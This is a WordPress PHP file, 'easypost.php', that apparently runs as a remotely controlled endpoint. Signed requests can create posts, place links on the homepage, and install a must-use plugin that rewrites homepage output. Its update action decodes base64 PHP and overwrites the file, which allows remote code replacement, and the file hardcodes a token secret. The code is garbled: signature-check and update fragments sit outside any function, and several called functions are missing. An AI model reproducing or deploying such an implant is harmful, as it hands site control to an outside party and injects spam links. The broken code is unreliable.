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Editing: easypost.php

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<?php
define('EASYPOST_ENDPOINT_CONFIG', '{"endpoint_version":"2026.06.10","token_id":"ep_d9106a7b727c42709269429e55b89196","token_verifier":"v1:b7465ea8020a69b3016647685b55646c:cf007a9df6c668c3920005e0413898be5a02cc55ebe08501cd276a602b0d83e8","ota_release_public_key_pem":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JTcpyvncP1Izz2SsnLq\\nGm3iObZi5YEydCeQPv0kX5pN3WwEzt/j1fsyd3EVHbLlXUmdQbWvCBIX1wq/RO4q\\n4UuLpks++nnz7pNTyZqrU+gPUlQb4uDBJsE6nePRyddoMGbT8yF4yzLt/fp86oSG\\ncd/TqnUIplM4dmQVtzqaUiGSUFLReUO0tMHvYGTRl/jCM/pJmIMNLEFmAb/x6wT4\\nihEIXD39Uj2/BG/zJFiIc6FNvqRp1DRm50lhPJW7LkDin+LkvSebbIubeYEe3vc9\\n7qX0zD2zpTFv04itmPld0eOa7kXHNsr+jUnTmuovzdIzBJjcgSWT/nqI+bRAXfL6\\nUwIDAQAB\\n-----END PUBLIC KEY-----"}');

function easypost_endpoint_config() {
    return json_decode(EASYPOST_ENDPOINT_CONFIG, true);
}

function easypost_endpoint_json($status, $payload) {
    http_response_code($status);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($payload);
    exit;
}

function easypost_endpoint_bootstrap_wordpress() {
    $wp_load = easypost_endpoint_wp_load_path();
    if (!$wp_load) {
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'wp_load_not_found'));
    }
    require_once $wp_load;
}

function easypost_endpoint_verifier_secret($verifier) {
    $parts = explode(':', (string) $verifier, 3);
    if (count($parts) !== 3 || $parts[0] !== 'v1' || $parts[2] === '') {
        return false;
    }
    return $parts[2];
}

function easypost_endpoint_verify_auth($body) {
    $config = easypost_endpoint_config();
    $token_id = easypost_endpoint_header('x-easypost-token-id');
    $timestamp = easypost_endpoint_header('x-easypost-timestamp');
    $request_id = easypost_endpoint_header('x-easypost-request-id');
    $body_sha256 = easypost_endpoint_header('x-easypost-body-sha256');
    $signature = easypost_endpoint_header('x-easypost-signature');

if ($token_id === '' || $timestamp === '' || $request_id === '' || $body_sha256 === '' || $signature === '') {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'missing_auth_headers'));
    }
    if (!hash_equals((string) $config['token_id'], $token_id)) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'unknown_token'));
    }
    $request_time = strtotime($timestamp);
    if (!$request_time || abs(time() - $request_time) > 300) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'timestamp_stale'));
    }
    $computed_body_sha256 = hash('sha256', $body);
    if (!hash_equals($computed_body_sha256, $body_sha256)) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'body_sha256_mismatch'));
    }

$replay_key = 'easypost_endpoint_req_' . hash('sha256', $token_id . ':' . $request_id);
    if (function_exists('get_transient') && get_transient($replay_key)) {
        easypost_endpoint_json(409, array('ok' => false, 'error' => 'duplicate_request_id'));
    }

$secret = easypost_endpoint_verifier_secret($config['token_verifier']);
    if (!$secret) {
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'invalid_token_verifier'));
    }

$path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/wp-content/easypost/easypost.php';
    $signature_input = implode("\n", array(
        strtoupper($_SERVER['REQUEST_METHOD']),
        $path,
        $timestamp,
        $request_id,
        $token_id,
        $computed_body_sha256,
    ));
    $expected = hash_hmac('sha256', $signature_input, $secret);
    if (!hash_equals($expected, $signature)) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'signature_mismatch'));
    }

if (function_exists('set_transient')) {
        set_transient($replay_key, '1', 300);
    }
}

function easypost_endpoint_payload($body) {
    $payload = json_decode($body, true);
    if (!is_array($payload)) {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_json'));
    }
    return $payload;
}

function easypost_endpoint_health() {
    easypost_endpoint_bootstrap_wordpress();
    $config = easypost_endpoint_config();
    $runtime_status = easypost_endpoint_homepage_runtime_status();
    easypost_endpoint_json(200, array(
        'ok' => true,
        'endpointVersion' => $config['endpoint_version'],
        'tokenId' => $config['token_id'],
        'canBootstrapWordPress' => true,
        'canInsertPosts' => function_exists('wp_insert_post'),
        'canResolveHomepage' => function_exists('get_option') && function_exists('get_post'),
        'canPlaceHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'),
        'canRemoveHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'),
        'canManageHomepageRuntime' => $runtime_status['canManage'],
        'homepageRuntimeVersion' => $runtime_status['version'],
        'canUseTransients' => function_exists('set_transient') && function_exists('get_transient'),
        'canCleanCaches' => function_exists('clean_post_cache') || function_exists('wp_cache_delete'),
        'hasElementor' => did_action('elementor/loaded') || class_exists('\Elementor\Plugin'),
        'siteUrl' => function_exists('site_url') ? site_url() : null,
        'phpVersion' => PHP_VERSION,
        'serverTime' => gmdate('c'),
    ));
}

function easypost_endpoint_validate_homepage_payload($payload) {
    $placement_id = isset($payload['placementId']) ? (int) $payload['placementId'] : 0;
    $link_url = isset($payload['linkUrl']) ? esc_url_raw((string) $payload['linkUrl']) : '';
    $anchor_text = isset($payload['anchorText']) ? sanitize_text_field((string) $payload['anchorText']) : '';
    if ($placement_id <= 0 || $link_url === '' || $anchor_text === '') {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_payload', 'fallback' => false));
    }
    return array(
        'placementId' => $placement_id,
        'linkUrl' => $link_url,
        'anchorText' => $anchor_text,
        'preLinkText' => array_key_exists('preLinkText', $payload) ? sanitize_text_field((string) $payload['preLinkText']) : null,
        'postLinkText' => array_key_exists('postLinkText', $payload) ? sanitize_text_field((string) $payload['postLinkText']) : null,
        'placementType' => isset($payload['placementType']) ? sanitize_key((string) $payload['placementType']) : 'VISIBLE_LINK',
    );
}

function easypost_endpoint_placement_body($input) {
    $label = $input['preLinkText'] === null ? 'Recommended resource:' : $input['preLinkText'];
    $prefix = $label === '' ? '' : $label . ' ';
    $suffix = $input['postLinkText'] === null ? '' : $input['postLinkText'];
    if ($suffix !== '' && strpos($suffix, ' ') !== 0) {
        $suffix = ' ' . $suffix;
    }
    return $prefix . '<a href="' . esc_url($input['linkUrl']) . '">' . esc_html($input['anchorText']) . '</a>' . esc_html($suffix);
}

function easypost_endpoint_marker($placement_id) {
    return 'data-placement="' . (int) $placement_id . '"';
}

function easypost_endpoint_managed_placements_option() {
    return 'easypost_homepage_placements';
}

function easypost_endpoint_runtime_file_path() {
    if (!defined('WP_CONTENT_DIR')) {
        return false;
    }
    $directory = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins';
    return $directory . '/easypost-runtime.php';
}

function easypost_endpoint_runtime_php() {
    $config = easypost_endpoint_config();
    $version = isset($config['endpoint_version']) ? (string) $config['endpoint_version'] : 'unknown';
    $runtime = <<<'PHP'
<?php
if (!defined('ABSPATH')) {
    exit;
}

if (!defined('EASYPOST_HOMEPAGE_RUNTIME_VERSION')) {
    define('EASYPOST_HOMEPAGE_RUNTIME_VERSION', '__EASYPOST_RUNTIME_VERSION__');
}

function easypost_runtime_placements_option() {
    return 'easypost_homepage_placements';
}

function easypost_runtime_is_homepage() {
    return function_exists('is_front_page') && is_front_page();
}

function easypost_runtime_get_placements() {
    if (!function_exists('get_option')) {
        return array();
    }
    $placements = get_option(easypost_runtime_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_runtime_buffer_start() {
    if (!easypost_runtime_is_homepage() || empty(easypost_runtime_get_placements())) {
        return;
    }
    ob_start('easypost_runtime_inject_buffer');
}

add_action('template_redirect', 'easypost_runtime_buffer_start', 0);
add_action('wp_footer', 'easypost_runtime_echo', PHP_INT_MAX);
PHP;
    return str_replace('__EASYPOST_RUNTIME_VERSION__', str_replace("'", "\\'", $version), $runtime);
}

function easypost_endpoint_load_managed_placements() {
    if (!function_exists('get_option')) {
        easypost_endpoint_fallback_error('capability_failed');
    }
    $placements = get_option(easypost_endpoint_managed_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_endpoint_save_managed_placements($placements) {
    if (!function_exists('update_option')) {
        easypost_endpoint_fallback_error('capability_failed');
    }
    return update_option(easypost_endpoint_managed_placements_option(), $placements, false);
}

function easypost_endpoint_lock_key($post_id) {
    return 'easypost_homepage_' . (int) $post_id;
}

function easypost_endpoint_release_lock($post_id) {
    if (function_exists('delete_transient')) {
        delete_transient(easypost_endpoint_lock_key($post_id));
    }
}

function easypost_endpoint_elementor_widget($html, $placement_id) {
    return array(
        'id' => substr(hash('sha256', 'placement-' . (int) $placement_id), 0, 7),
        'elType' => 'widget',
        'widgetType' => 'html',
        'settings' => array('html' => $html),
        'elements' => array(),
    );
}

$signature = base64_decode($payload['signature'], true);
    if ($signature === false || $signature === '') {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'release_signature_invalid'));
    }

$signed_payload = $payload['version'] . "\n" . $computed_sha256;
    $verified = openssl_verify($signed_payload, $signature, $config['ota_release_public_key_pem'], OPENSSL_ALGO_SHA256);
    if ($verified !== 1) {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'release_signature_invalid'));
    }
}

$decoded_php = base64_decode($payload['phpBase64'], true);
    if ($decoded_php === false || $decoded_php === '') {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'php_base64_invalid'));
    }
    $computed_sha256 = hash('sha256', $decoded_php);
    if (!hash_equals($payload['sha256'], $computed_sha256)) {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_mismatch'));
    }
    easypost_endpoint_verify_release_signature($payload, $computed_sha256);

$tmp_path = tempnam(__DIR__, 'easypost-update-');
    if (!$tmp_path) {
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'temporary_write_failed'));
    }
    $bytes = file_put_contents($tmp_path, $decoded_php, LOCK_EX);
    if ($bytes === false || $bytes !== strlen($decoded_php)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'temporary_write_failed'));
    }
    @chmod($tmp_path, fileperms(__FILE__) & 0777);
    if (!rename($tmp_path, __FILE__)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'rename_failed'));
    }
    if (function_exists('opcache_invalidate')) {
        @opcache_invalidate(__FILE__, true);
    }
    if (function_exists('clearstatcache')) {
        clearstatcache(true, __FILE__);
    }

easypost_endpoint_json(200, array(
        'ok' => true,
        'endpointVersion' => $payload['version'],
    ));
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    easypost_endpoint_json(405, array('ok' => false, 'error' => 'method_not_allowed'));
}

$body = file_get_contents('php://input');
easypost_endpoint_bootstrap_wordpress();
easypost_endpoint_verify_auth($body);
$action = isset($_GET['action']) ? $_GET['action'] : 'health';
if ($action === 'health') {
    easypost_endpoint_health();
}
$payload = easypost_endpoint_payload($body);
if ($action === 'create_post') {
    easypost_endpoint_create_post($payload);
}
if ($action === 'place_homepage_link') {
    easypost_endpoint_place_homepage_link($payload);
}
if ($action === 'remove_homepage_link') {
    easypost_endpoint_remove_homepage_link($payload);
}
if ($action === 'rotate_token') {
    easypost_endpoint_json(501, array('ok' => false, 'error' => 'rotate_token_not_implemented'));
}
if ($action === 'update_endpoint') {
    easypost_endpoint_update_endpoint($payload);
}
easypost_endpoint_json(404, array('ok' => false, 'error' => 'unknown_action'));

Editing: easypost.php

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